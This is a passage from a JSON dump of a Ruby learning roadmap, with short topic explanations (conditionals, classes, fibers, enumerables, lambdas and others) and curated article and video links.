    "content": "# Concurrency & Parallelism\n\nConcurrency and parallelism are techniques for improving the performance and responsiveness of programs by executing multiple tasks seemingly or actually at the same time. Concurrency deals with managing multiple tasks within a single program, allowing them to make progress even if one task is blocked. Parallelism, on the other hand, involves physically executing multiple tasks simultaneously, typically by distributing them across multiple processor cores.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby Concurrency and Parallelism: A Practical Tutorial](http://toptal.com/developers/ruby/ruby-concurrency-and-parallelism-a-practical-primer)\n- [@article@Parallelism and concurrency in Ruby](https://msuliq.medium.com/concurrency-and-parallin-ruby-91d10045d2fe)\n- [@video@RailsConf 2016 - Introduction to Concurrency in Ruby by Thijs Cadier](https://www.youtube.com/watch?v=5AxtY4dfuwc)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/concurrent-ruby@toevE0eM7c5f_zeSaVjdr.md",
    "content": "# Concurrent Ruby\n\nConcurrent Ruby is a library that provides tools and abstractions for concurrent and parallel programming in Ruby. It offers features like actors, promises, dataflow variables, and thread pools to help developers write efficient and thread-safe code, enabling them to take advantage of multi-core processors and improve application performance.\n\nVisit the following resources to learn more:\n\n- [@official@Concurrent Ruby](https://ruby-concurrency.github.io/concurrent-ruby/1.3.6/index.html)\n- [@opensource@concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/conditional-statements@FIALdP3ZhOlzW-OIlJoT2.md",
    "content": "# Conditional Statements\n\nConditional statements allow you to execute different blocks of code based on whether a certain condition is true or false. They provide a way to control the flow of your program, enabling it to make decisions and respond differently to various inputs or situations. Common conditional statements include `if`, `elsif`, and `else`, which let you define different code paths depending on the evaluation of boolean expressions.\n\nVisit the following resources to learn more:\n\n- [@article@Conditional Logic](https://www.theodinproject.com/lessons/ruby-conditional-logic#case-statements)\n- [@article@Conditionals](https://launchschool.com/books/ruby/read/flow_control#conditionals)\n- [@article@Ruby Explained: Conditionals and Flow Control](https://eriktrautman.com/posts/ruby-explained-conditionals-and-flow-control)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/conditional-statements@jw218cE_PQDRnOTzCXpXr.md",
    "content": "# Conditional Statements\n\nConditional statements allow you to execute different blocks of code based on whether a certain condition is true or false. They provide a way to control the flow of your program, enabling it to make decisions and respond differently to various inputs or situations. Common conditional statements include `if`, `elsif`, `else`, and `unless`.\n\nVisit the following resources to learn more:\n\n- [@article@Conditional Logic](https://www.theodinproject.com/lessons/ruby-conditional-logic)\n- [@article@The Beginner's Guide to Ruby If & Else Statements](http://rubyguides.com/ruby-tutorial/ruby-if-else/)\n- [@article@Ruby - if...else, case, unless](https://www.tutorialspoint.com/ruby/ruby_if_else.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/constants--variables@FfM3pPbyP1VsvWousb3YK.md",
    "content": "# Constants & Variables\n\nIn Ruby, variables are named storage locations that hold data, and their values can be changed during the program's execution. Constants, on the other hand, are also named storage locations, but their values are intended to remain fixed throughout the program's runtime. While Ruby technically allows you to reassign a constant (it will issue a warning), the convention is to treat them as immutable values that should not be altered. Variables are typically named using snake\\_case, while constants are named using SCREAMING\\_SNAKE\\_CASE.\n\nVisit the following resources to learn more:\n\n- [@article@Variables](https://ruby-for-beginners.rubymonstas.org/variables.html)\n- [@article@Ruby Variables](https://www.tutorialspoint.com/ruby/ruby_variables.htm)\n- [@article@Everything You Need to Know About Ruby Constants](https://www.rubyguides.com/2017/07/ruby-constants/)\n- [@article@Getting Started with Ruby Variables: A Beginner’s Guide](https://medium.com/@sz.soczewka/getting-started-with-ruby-variables-a-beginners-guide-d90a53eb5139)\n- [@video@Variables | Ruby | Tutorial 6](https://www.youtube.com/watch?v=4mWc6Q9shcQ)\n- [@video@Ruby Programming Tutorial - 20 - Constants](https://www.youtube.com/watch?v=qAqGIMKIMcA)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/data-types@wsnjdnZZohQsVBfM1uN8H.md",
    "content": "# Naming Conventions\n\nNaming conventions are a set of rules or guidelines for choosing names for variables, methods, classes, and other entities in a programming language. These conventions promote code readability, maintainability, and consistency across a project. Following a standard naming scheme helps developers understand the purpose and scope of different elements within the code, making it easier to collaborate and debug.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby Naming Convention](https://namingconvention.org/ruby/)\n- [@article@Naming conventions in Ruby language](https://dhanusir.com/ruby/section-two/naming-conventions/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/date--time@RGo3VGXftLx877w0Cxhwb.md",
    "content": "# Date & Time\n\nDate and Time represent specific points in time. They allow you to work with dates (year, month, day) and times (hour, minute, second) and perform operations like calculating durations, formatting dates for display, and comparing different points in time. They are essential for handling events, scheduling tasks, and managing temporal data.\n\nVisit the following resources to learn more:\n\n- [@official@class Date](https://docs.ruby-lang.org/en/master/Date.html)\n- [@official@class Time](https://docs.ruby-lang.org/en/master/Time.html)\n- [@article@How to Use Ruby Time & Date Classes](https://www.rubyguides.com/2015/12/ruby-time/)\n- [@article@Ruby - Date & Time](https://www.tutorialspoint.com/ruby/ruby_date_time.htm)\n- [@video@Ruby Tutorial For Beginners - Date and Time in Ruby](https://www.youtube.com/watch?v=noUaGvexdok)\n- [@video@#62 Ruby Tutorial : Date and DateTime Class Part - 3](https://www.youtube.com/watch?v=htxjcfvGmu4)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/debug@JSauSDvDotwrWZiyLuWks.md",
    "content": "# Debug\n\n`debug` is a powerful debugging tool integrated directly into Ruby. It allows developers to step through code execution, inspect variables, set breakpoints, and evaluate expressions in real-time. This helps in identifying and resolving errors or unexpected behavior within Ruby programs.\n\nVisit the following resources to learn more:\n\n- [@official@debug](https://github.com/ruby/debug)\n- [@article@ruby/debug cheatsheet](https://st0012.dev/2022/09/08/ruby-debug-cheatsheet/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/define_method@iwLZktEcLmnahj4o-IgWB.md",
    "content": "# define_method\n\n`define_method` is a method used to dynamically create new methods within a class or module. Instead of explicitly writing out the method definition with the `def` keyword, `define_method` allows you to generate methods at runtime, often based on data or logic that isn't known until the program is running. This provides a powerful way to reduce code duplication and create more flexible and adaptable code.\n\nVisit the following resources to learn more:\n\n- [@article@Dynamic method definition with ruby’s .define_method](https://medium.com/@camfeg/dynamic-method-definition-with-rubys-define-method-b3ffbbee8197)\n- [@article@Explain Ruby's define_method like I'm five](https://dev.to/tiffanywismer/explain-rubys-definemethod-like-im-five-2807)\n- [@video@define_method - Metaprogramming in Ruby](https://www.youtube.com/watch?v=I0itVuoprAY)\n- [@video@Ruby Tutorial | Metaprogramming in Ruby - Dynamic Method Definition](https://www.youtube.com/watch?v=bg2KvfwxDnM)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/defining-classes@lPPdaW7EEyUCxV41ljvPY.md",
    "content": "# Defining Classes\n\nA class is a blueprint for creating objects. It defines the attributes (data) and behaviors (methods) that objects of that class will possess. Defining a class involves specifying its name and the characteristics that its instances will have. This includes declaring instance variables to hold data and defining methods to perform actions on that data.\n\nVisit the following resources to learn more:\n\n- [@article@How to Write Your Own Classes in Ruby (Explained Clearly)](https://www.rubyguides.com/2019/02/ruby-class/)\n- [@article@A Beginner’s Guide to Ruby Classes (Part 1)](https://medium.com/@grahamwatson/a-beginners-guide-to-ruby-classes-f8dec30d5821)\n- [@article@Ruby Classes Refresher](https://codesignal.com/learn/courses/ruby-classes-basics-revision/lessons/understanding-ruby-classes-a-refresher-on-attributes-and-methods)\n- [@video@Classes & Objects | Ruby | Tutorial 29](https://www.youtube.com/watch?v=sc5RhTIBf4c)\n- [@video@Learn classes in Ruby in less than 20 minutes](https://www.youtube.com/watch?v=XyoOOxGR54A)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/defining-methods@CkYLHSGH8dmfS5fK2JLfH.md",
    "content": "# Defining Methods\n\nMethods, also known as functions in other programming languages, are reusable blocks of code designed to perform a specific task. Defining a method involves specifying its name, the parameters it accepts (if any), and the sequence of instructions it executes. This allows you to organize your code into logical units, making it more readable, maintainable, and reusable throughout your program.\n\nVisit the following resources to learn more:\n\n- [@official@Methods](https://docs.ruby-lang.org/en/master/syntax/methods_rdoc.html)\n- [@article@Methods - Odin Project](https://www.theodinproject.com/lessons/ruby-methods)\n- [@article@Objects, Classes, Methods](https://ruby-for-beginners.rubymonstas.org/objects.html)\n- [@article@Ruby - Methods](https://www.tutorialspoint.com/ruby/ruby_methods.htm)\n- [@video@Methods | Ruby | Tutorial 15](https://www.youtube.com/watch?v=e1EpXUgSfN8)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/dowhile@OwRukUn8ypko_hPUHkxv_.md",
    "content": "# do/while Loops\n\n`do/while` loops are a type of control flow statement that executes a block of code at least once, and then repeatedly executes the block as long as a specified condition is true. The condition is checked _after_ the code block is executed, ensuring the block runs at least one time regardless of the initial state of the condition. This is different from a `while` loop, where the condition is checked _before_ the code block is executed.\n\nVisit the following resources to learn more:\n\n- [@article@Ruby Loops](https://www.codecademy.com/resources/docs/ruby/loops)\n- [@video@Ruby For Beginners #5 - Loops | For, While, Do, Do While](https://www.youtube.com/watch?v=Q_zP40toAMY)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/each@iJ7e3-VJV6l-Qe-b5yAgC.md",
    "content": "# Each\n\n`each` is a fundamental method in Ruby used to iterate over elements within a collection, such as an array or a hash. It applies a given block of code to each element in the collection, allowing you to perform operations on every item. The `each` method does not modify the original collection; it simply iterates through it.\n\nVisit the following resources to learn more:\n\n- [@official@Iterators](https://www.ruby-lang.org/en/documentation/faq/5/)\n- [@article@Iterators](https://launchschool.com/books/ruby/read/loops_iterators#iterators)\n- [@article@Ruby Explained: Iteration](https://eriktrautman.com/posts/ruby-explained-iteration)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/enumerable@7lMZv3oRfC1UWAOfRvvwC.md",
    "content": "# Enumerable\n\nEnumerable is a module in Ruby that provides a collection of useful iteration methods. It's designed to be mixed into classes that represent collections of data, such as arrays and hashes. By including Enumerable, a class gains the ability to iterate over its elements and perform operations like searching, filtering, sorting, and transforming data in a concise and readable way.\n\nVisit the following resources to learn more:\n\n- [@official@module Enumerable](https://ruby-doc.org/3.4.1/Enumerable.html)\n- [@article@Basic Enumerable Methods](https://www.theodinproject.com/lessons/ruby-basic-enumerable-methods)\n- [@article@Enumerable](https://rubyreferences.github.io/rubyref/builtin/types/enumerable.html)\n- [@article@An Introduction to Ruby Enumerators and the Enumerable Module](https://betterstack.com/community/guides/scaling-ruby/enumerators-enumerable/)\n- [@video@How to use Enumerable with Ruby Classes](https://www.youtube.com/watch?v=zALFRuKZQYc)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/enumerable@jw218cE_PQDRnOTzCXpXr.md",
    "content": "# Conditional Statements\n\nConditional statements allow you to execute different blocks of code based on whether a certain condition is true or false. They provide a way to control the flow of your program, enabling it to make decisions and respond differently to various inputs or situations. Common conditional statements include `if`, `elsif`, `else`, and `unless`.\n\nVisit the following resources to learn more:\n\n- [@article@Conditional Logic](https://www.theodinproject.com/lessons/ruby-conditional-logic)\n- [@article@The Beginner's Guide to Ruby If & Else Statements](http://rubyguides.com/ruby-tutorial/ruby-if-else/)\n- [@article@Ruby - if...else, case, unless](https://www.tutorialspoint.com/ruby/ruby_if_else.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/everything-is-an-object@vnDB786JPJGLIEbaQuXn2.md",
    "content": "# Everything is an Object\n\nIn Ruby, everything you encounter – numbers, strings, arrays, even classes and methods – is treated as an object. This means that each of these entities is an instance of a class and possesses both state (data) and behavior (methods) that can be invoked. This unified object model is a fundamental characteristic of Ruby's design.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding the Ruby Object Model In Depth](https://www.honeybadger.io/blog/ruby-object-model/)\n- [@article@Everything is object in Ruby](https://medium.com/@pk60905/everything-is-object-in-ruby-559475ce71dd)\n- [@article@Ruby: Everything Is An Object?](https://reinteractive.com/articles/tutorial-series-new-to-rails/ruby-everything-is-an-object)\n- [@video@Ruby Programming Tutorial - 9 - Everything is an Object!](https://www.youtube.com/watch?v=F75wFJIa368)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/fetching@PQX6c9h1O_p-ExDvC88zl.md",
    "content": "# Fetching\n\n`Enumerable` comes with some methods that allow you to retrieve entries from the Enumerable, without modifying it. This includes methods to get leading and trailing elements, extract minimum and maximum value elements, as well as conduct groups, slices, and partitions.\n\nVisit the following resources to learn more:\n\n- [@article@https://ruby-doc.org/3.4.1/Enumerable.html#top](https://ruby-doc.org/3.4.1/Enumerable.html#top)\n- [@article@Getting to know Ruby's Enumerable Module](https://www.rafaelmontas.com/getting-to-know-ruby-enumerable-module/)\n- [@article@The Simple Yet Powerful Ruby Enumerable Module](https://www.cloudbees.com/blog/the-enumerable-module)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/fibers@ZSBRUhjgQNJNbCuLYEiJJ.md",
    "content": "# Fibers\n\nFibers are a lightweight way to achieve concurrency. They are essentially blocks of code that can be paused and resumed, allowing you to switch between different execution contexts within a single thread. This enables cooperative multitasking, where the programmer explicitly controls when to switch between different parts of the program."
  },
  {
    "path": "src/data/roadmaps/ruby/content/fibers@_ruCDzzaSuoE_8tRacTeK.md",
    "content": "# Fibers\n\nFibers are a lightweight concurrency construct that allows you to create code blocks that can be paused and resumed. They provide a way to implement cooperative multitasking within a single thread, enabling you to manage multiple tasks without the overhead of creating and managing multiple threads or processes. Fibers are useful for scenarios where you need fine-grained control over the execution flow and want to avoid the complexities of thread synchronization.\n\nVisit the following resources to learn more:\n\n- [@book@Magesh, \"Concurrency in Ruby: Threads, Fibers, and Ractors Demystified\"](https://www.youtube.com/watch?v=LVHiq_SbQOE)\n- [@official@class Fiber](https://docs.ruby-lang.org/en/master/Fiber.html)\n- [@article@How to use Ruby Fibers for Background Jobs](https://medium.com/@alieckaja/unleashing-the-power-of-fibers-for-background-jobs-8a22e3a38cd1)\n- [@article@Ruby Fibers 101](https://blog.saeloun.com/2022/03/01/ruby-fibers-101/)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/file-io@UQeCaogH4IJg4_Inxsjg1.md",
    "content": "# File I/O\n\nFile I/O involves reading data from and writing data to files. It allows your Ruby programs to interact with files on your computer's file system. You can open files, read their contents line by line or in chunks, write new data to them, or append data to existing files. This interaction is essential for tasks like reading configuration files, processing data from external sources, and saving program output.\n\nVisit the following resources to learn more:\n\n- [@official@class IO](https://docs.ruby-lang.org/en/master/IO.html)\n- [@article@Input & Output (IO) In Ruby: The Definitive Guide](https://www.rubyguides.com/2019/02/ruby-io/)\n- [@article@Ruby - FIlei/o](https://www.tutorialspoint.com/ruby/ruby_input_output.htm)\n- [@video@Reading Files | Ruby | Tutorial 26](https://www.youtube.com/watch?v=92li0A8d4io)\n- [@video@Writing Files | Ruby | Tutorial 27](https://www.youtube.com/watch?v=FW9hDsMY1is)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/floats@aLIXcqB258WNrdASuN_7G.md",
    "content": "# Floats\n\nFloats represent real numbers with fractional parts in Ruby. They are used to store numerical values that require more precision than integers can provide. Floats are typically represented using a decimal point or in scientific notation.\n\nVisit the following resources to learn more:\n\n- [@official@class Floar](https://docs.ruby-lang.org/en/master/Float.html)\n- [@article@Numbers](https://ruby-for-beginners.rubymonstas.org/built_in_classes/numbers.html)\n- [@article@Numbers - Odin Project](https://www.theodinproject.com/lessons/ruby-basic-data-types#numbers)\n- [@video@03 Ruby Learning Path Integers and Floats](https://www.youtube.com/watch?v=FScOX-TavfA)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/for@VlhY73X3c0PnA1uYjbfZH.md",
    "content": "# For Loop\n\nThe `for` loop in Ruby provides a way to iterate over a sequence of values, such as elements in an array or a range. It executes a block of code for each item in the sequence. While functional, the `for` loop is not as commonly used in Ruby as other iteration methods like `each`, `map`, or `select`, which are often considered more idiomatic and flexible.\n\nVisit the following resources to learn more:\n\n- [@article@For Loops](https://launchschool.com/books/ruby/read/loops_iterators#forloops)\n- [@article@For loop](https://www.theodinproject.com/lessons/ruby-loops#for-loop)\n- [@video@Ruby For Beginners #5 - Loops | For, While, Do, Do While](https://www.youtube.com/watch?v=Q_zP40toAMY)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/handling-exceptions@aZYZcRlB1Azm4N_jox0Ow.md",
    "content": "# Handling Exceptions\n\nException handling is a mechanism to deal with errors that occur during the execution of a program. It involves identifying potential error-prone sections of code, anticipating possible exceptions, and implementing specific blocks of code to gracefully handle these exceptions, preventing the program from crashing and allowing it to continue execution or terminate in a controlled manner.\n\nVisit the following resources to learn more:\n\n- [@official@Exceptions](https://docs.ruby-lang.org/en/master/language/exceptions_md.html)\n- [@official@Exception Handling](https://docs.ruby-lang.org/en/3.4/syntax/exceptions_rdoc.html)\n- [@article@Handling Exceptions in Ruby (begin/rescue)](https://medium.com/@alexfarmer/handling-exceptions-in-ruby-b4ba93caf538)\n- [@article@Understanding Ruby Error Handling](https://betterstack.com/community/guides/scaling-ruby/ruby-error-handling/)\n- [@video@Handling Errors | Ruby | Tutorial 28](https://www.youtube.com/watch?v=J7R94i2bhlI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/hashes@mpsx0lr9ljlMEzuU5cZD6.md",
    "content": "# Ruby Hashes\n\nHashes are collections of key-value pairs. Think of them like dictionaries, where each word (the key) has a definition (the value). Keys are unique within a hash, and they are used to quickly access their corresponding values. Hashes can store any type of data as keys and values, making them a versatile way to organize and retrieve information.\n\nVisit the following resources to learn more:\n\n- [@official@class Hash](https://docs.ruby-lang.org/en/master/Hash.html)\n- [@article@What is a Hash](https://launchschool.com/books/ruby/read/hashes#whatisahash)\n- [@article@Hashes - Odin Project](https://www.theodinproject.com/lessons/ruby-hashes)\n- [@video@Hashes | Ruby | Tutorial 14](https://www.youtube.com/watch?v=BtHKhsDUPwQ)\n- [@video@Ruby Programming Tutorial - 31 - Hashes](https://www.youtube.com/watch?v=imns9_XncQU)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/if-elsif-else@cVSN9992bpxZwZ9JC1HHg.md",
    "content": "# Conditional Statements (if, elsif, else)\n\nConditional statements allow you to execute different blocks of code based on whether a certain condition is true or false. The `if` statement executes a block of code if a condition is true. The `elsif` statement (optional) allows you to check additional conditions if the initial `if` condition is false. The `else` statement (optional) provides a block of code to execute if none of the preceding conditions are true.\n\nVisit the following resources to learn more:\n\n- [@article@Conditionals](https://ruby-for-beginners.rubymonstas.org/conditionals.html)\n- [@article@The Beginner's Guide to Ruby If & Else Statements](https://www.rubyguides.com/ruby-tutorial/ruby-if-else/)\n- [@article@Conditional logic](https://www.theodinproject.com/lessons/ruby-conditional-logic)\n- [@video@If Statements | Ruby | Tutorial 17](https://www.youtube.com/watch?v=Ss-IHmrSTow)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/inheritance@7HSJh15ice_CG3FtfQ5x6.md",
    "content": "# Inheritance\n\nInheritance in Ruby allows a class (the subclass or derived class) to inherit properties and behaviors from another class (the superclass or base class). This promotes code reuse and establishes an \"is-a\" relationship. The subclass automatically gains the methods and attributes of the superclass, and can also add its own or override existing ones to customize its behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Inheritance](https://launchschool.com/books/oo_ruby/read/inheritance)\n- [@article@Ruby — Inheritance and Module](https://medium.com/swlh/ruby-inheritance-and-module-cc0132348dcd)\n- [@article@Ruby Inheritance Explained – Learn OOP Today!](https://www.rubyguides.com/2019/01/what-is-inheritance-in-ruby/)\n- [@video@Inheritance | Ruby | Tutorial 33](https://www.youtube.com/watch?v=Zkk7whVb3f4)\n- [@video@Ruby Programming Tutorial - 6 - Inheritance](https://www.youtube.com/watch?v=mKXGMdWa1Ow)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/installers@zY4gsqXOOT3yp9ad9-T5a.md",
    "content": "# Installers\n\nInstallers are software packages designed to simplify the process of setting up Ruby on your computer. They typically handle downloading the necessary files, configuring your system environment, and ensuring that Ruby and its related tools are ready to use. Using an installer avoids the complexities of manual installation, making it easier for beginners to get started with Ruby development.\n\nVisit the following resources to learn more:\n\n- [@official@Installers - Ruby Docs](https://www.ruby-lang.org/en/documentation/installation/#installers)\n- [@official@RubyInstaller (Windows)](https://rubyinstaller.org/)\n- [@official@Ruby Stack](https://bitnami.com/stack/ruby/installer)\n- [@opensource@ruby-build (macOS, Linux, UNIX OS)](https://github.com/rbenv/ruby-build#readme)\n- [@opensource@ruby-install (macOS, Linux, UNIX OS)](https://github.com/postmodern/ruby-install#readme)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/installing-ruby@Av5hlCtE-ZoeKpS0k3kLA.md",
    "content": "# Installing Ruby\n\nInstalling Ruby involves setting up the Ruby interpreter and related tools on your system so you can run Ruby programs. This typically includes downloading a Ruby distribution, configuring your environment, and verifying the installation to ensure everything is working correctly. Different operating systems (like Windows, macOS, and Linux) have their own preferred methods for installing Ruby, often involving package managers or dedicated installers.\n\nVisit the following resources to learn more:\n\n- [@official@Installing Ruby](https://www.ruby-lang.org/en/documentation/installation/)\n- [@article@Installing Ruby](https://www.theodinproject.com/lessons/ruby-installing-ruby)\n- [@article@How to Install Ruby on Windows, macOS, and Linux](https://dev.to/luigi_ichi/how-to-install-ruby-on-windows-macos-and-linux-35o3)\n- [@article@Setting up Ruby on WSL2 using Rbenv](https://codex.org/2022/08/19/setting-up-ruby-wsl2.html)\n- [@video@Ruby Beginner Tutorial 2 | How To Install Ruby On Windows](https://www.youtube.com/watch?v=XC1ccTyhLPI)\n- [@video@Ruby Beginner Tutorial 3 | How To Install Ruby On MacOS](https://www.youtube.com/watch?v=2pycF6hMy0s)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/instance-variables@dbdllih50mNFBrP9huQz9.md",
    "content": "# Instance Variables\n\nInstance variables in Ruby are variables that hold data specific to an object. They are defined within a class but belong to individual instances (objects) of that class. You create an instance variable by prefixing a variable name with an `@` symbol (e.g., `@name`). Each object of the class will have its own copy of these variables, allowing you to store different values for each object's attributes.\n\nVisit the following resources to learn more:\n\n- [@article@Read This If You Want to Understand Instance Variables in Ruby](https://www.rubyguides.com/2019/07/ruby-instance-variables/)\n- [@article@Understanding Ruby Objects and Instance Variables](https://dev.to/bhumi/understanding-ruby-objects-and-instance-variables-4157)\n- [@video@Instances and Instance Variables in Ruby Programming](https://www.youtube.com/watch?v=H27i3WuAEVI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/integers@_-bUq5jtewDmsmnzYw1-q.md",
    "content": "# Integers\n\nIntegers are whole numbers, meaning they don't have any fractional or decimal parts. They can be positive, negative, or zero. In programming, integers are used to represent countable quantities, indices, and other discrete values.\n\nVisit the following resources to learn more:\n\n- [@official@class Integer](https://docs.ruby-lang.org/en/master/Integer.html)\n- [@article@Numbers](https://ruby-for-beginners.rubymonstas.org/built_in_classes/numbers.html)\n- [@article@Numbers - Odin Project](https://www.theodinproject.com/lessons/ruby-basic-data-types#numbers)\n- [@video@03 Ruby Learning Path Integers and Floats](https://docs.ruby-lang.org/en/master/Integer.html)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/interactive-ruby-irb@uvPvcmhaO6WbkE9Xs5hsJ.md",
    "content": "# Interactive Ruby (irb)\n\nInteractive Ruby (irb) is a command-line tool that allows you to execute Ruby code interactively. It provides a read-eval-print loop (REPL) environment where you can type in Ruby expressions, and irb will immediately evaluate and display the result. This makes it a valuable tool for experimenting with code, testing ideas, and quickly checking the behavior of Ruby methods and objects.\n\nVisit the following resources to learn more:\n\n- [@article@How To Use IRB to Explore Ruby](https://www.digitalocean.com/community/tutorials/how-to-use-irb-to-explore-ruby)\n- [@article@Interactive Ruby](https://ruby-for-beginners.rubymonstas.org/your_tools/irb.html)\n- [@article@Interactive Ruby](https://ruby-doc.org/docs/ruby-doc-bundle/Tutorial/part_01/first_steps.html)\n- [@video@Interactive Ruby (irb) | Ruby | Tutorial 35](https://www.youtube.com/watch?v=9pKLGhh5mrM)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/introduction@A_ftl-42mIGBk-9S5LgCv.md",
    "content": "# Ruby\n\nRuby is a dynamic, open-source programming language known for its simplicity and productivity. It emphasizes human readability, using a syntax that is easy to learn and write. Ruby is object-oriented, meaning everything is treated as an object, and it supports multiple programming paradigms, including procedural, object-oriented, and functional programming.\n\nVisit the following resources to learn more:\n\n- [@book@The Ruby Programming Language](https://github.com/maniramakumar/the-best-ruby-books/blob/master/books/The%20Ruby%20Programming%20Language.pdf)\n- [@official@Ruby](https://www.ruby-lang.org/en/)\n- [@official@Documentation](https://www.ruby-lang.org/en/documentation/)\n- [@official@Ruby in Twenty Minutes](https://www.ruby-lang.org/en/documentation/quickstart/)\n- [@article@Ruby Tutorial](https://www.tutorialspoint.com/ruby/index.htm)\n- [@article@Learn Ruby Online](https://www.learnrubyonline.org/)\n- [@video@Ruby Programming Language - Full Course](https://www.youtube.com/playlist?list=PL_EzhIKp343lBMH4UuklrMRL_WkilGoXe)\n- [@video@Masterclass | Ruby Programming in 1 video | Beginners Ruby HandsOn Crash Course Interview FAQs |](https://www.youtube.com/watch?v=xyDoP5a_dvo)\n- [@feed@Explore top posts about Ruby](https://app.daily.dev/tags/ruby?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/irb@_TyiwnXJ7kQI8Z02ooAIy.md",
    "content": "# Debugging with IRB\n\nIRB (Interactive Ruby) is a powerful tool for debugging Ruby code. It allows you to execute Ruby code line by line, inspect variables, and test code snippets in real-time. This interactive environment helps you understand how your code behaves, identify errors, and experiment with different solutions without having to run your entire program. You can use IRB to step through your code, set breakpoints, and examine the state of your application at any point during execution.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging with IRB](https://ruby.github.io/irb/#label-Debugging+with+IRB)\n- [@article@A Beginner’s Guide to Debugging in Ruby](https://medium.com/@claire_logan/a-beginners-guide-to-debugging-in-ruby-b8103d7ad35b)\n- [@video@Ruby Debugging Tools: irb, pry, byebug, debug | Talk.rb](https://www.youtube.com/watch?v=Jx5SdGUezY0)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/iterating@frFY2AeO2BQF6I0CmTLkV.md",
    "content": "# Iterating with Enumerable\n\nThe `Enumerable` module in Ruby provides a collection of methods that allow you to traverse and process elements within a collection (like an array or hash). These iterating methods, such as `each`, `map`, `select`, and `reject`, simplify the process of performing actions on each item in the collection, transforming the collection, or filtering elements based on specific conditions. They abstract away the need for manual indexing and provide a more concise and readable way to work with collections.\n\nVisit the following resources to learn more:\n\n- [@article@module Enumerable](https://ruby-doc.org/3.4.1/Enumerable.html#top)\n- [@article@Programación Iterating in Ruby: Enumerable and Enumerators](https://libreim.github.io/blog/2015/08/24/ruby-enumerators/)\n- [@article@Understanding Ruby - Enumerable - Iterating and Taking](https://dev.to/baweaver/understanding-ruby-enumerable-iterating-and-taking-1fga)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/lambdas@Tb5DcDuAZNyuIPepJ_yy4.md",
    "content": "# Lambdas\n\nLambdas are anonymous functions, meaning they are functions without a name. They are objects in Ruby and can be treated like any other object, such as being passed as arguments to methods or stored in variables. Lambdas are defined using the `lambda` keyword or the shorthand `->` syntax, and they are similar to procs but differ in how they handle arguments and `return` statements.\n\nVisit the following resources to learn more:\n\n- [@article@An Introduction to Lambdas in Ruby](https://blog.appsignal.com/2023/06/21/an-introduction-to-lambdas-in-ruby.html)\n- [@article@https://www.rubyguides.com/2016/02/ruby-procs-and-lambdas/](https://www.rubyguides.com/2016/02/ruby-procs-and-lambdas/)\n- [@article@How to Use Lambdas in Ruby](https://www.scoutapm.com/blog/how-to-use-lambdas-in-ruby)\n- [@video@Ruby Blocks, Procs, and Lambdas 🦁🐅🐻](https://www.youtube.com/watch?v=SADF5diqAJk)\n- [@video@Blocks, Procs, and Lambda Functions in Ruby](https://www.youtube.com/watch?v=Dh3cSYjHITI)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/logical@vLgIRI5GD9ANBjYJoZmid.md",
    "content": "# Logical Operators in Ruby\n\nLogical operators in Ruby let you combine or modify boolean expressions (true or false). The main ones are `&&` (and), `||` (or), and `!` (not). `&&` returns true only if both operands are true. `||` returns true if at least one operand is true. `!` reverses the boolean value of its operand, turning true into false and vice versa. These operators are fundamental for controlling program flow based on different conditions.\n\nVisit the following resources to learn more:\n\n- [@article@Logical operators](https://ruby-for-beginners.rubymonstas.org/operators/logical.html)\n- [@article@Ruby - Operators](https://www.tutorialspoint.com/ruby/ruby_operators.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/loops--enumerations@dRfPXHrI5CHCELySKLZuQ.md",
    "content": "# Loops & Enumerations\n\nLoops in Ruby allow you to execute a block of code repeatedly. Enumerations, on the other hand, are methods that iterate over collections like arrays and hashes, applying a block of code to each element. Both loops and enumerations provide ways to process data and perform actions multiple times, but enumerations are often preferred for their conciseness and readability when working with collections.\n\nVisit the following resources to learn more:\n\n- [@article@Loops and Iterators](https://launchschool.com/books/ruby/read/loops_iterators#simpleloop)\n- [@article@Loops](https://www.theodinproject.com/lessons/ruby-loops)\n- [@article@Ruby Loops: Repeating Something Many Times](https://www.rubyguides.com/ruby-tutorial/loops/)\n- [@article@Ruby - Loops](https://www.tutorialspoint.com/ruby/ruby_loops.htm)"
  },
  {
    "path": "src/data/roadmaps/ruby/content/managers@RnKFjcscp8nqwesQ06YWU.md",
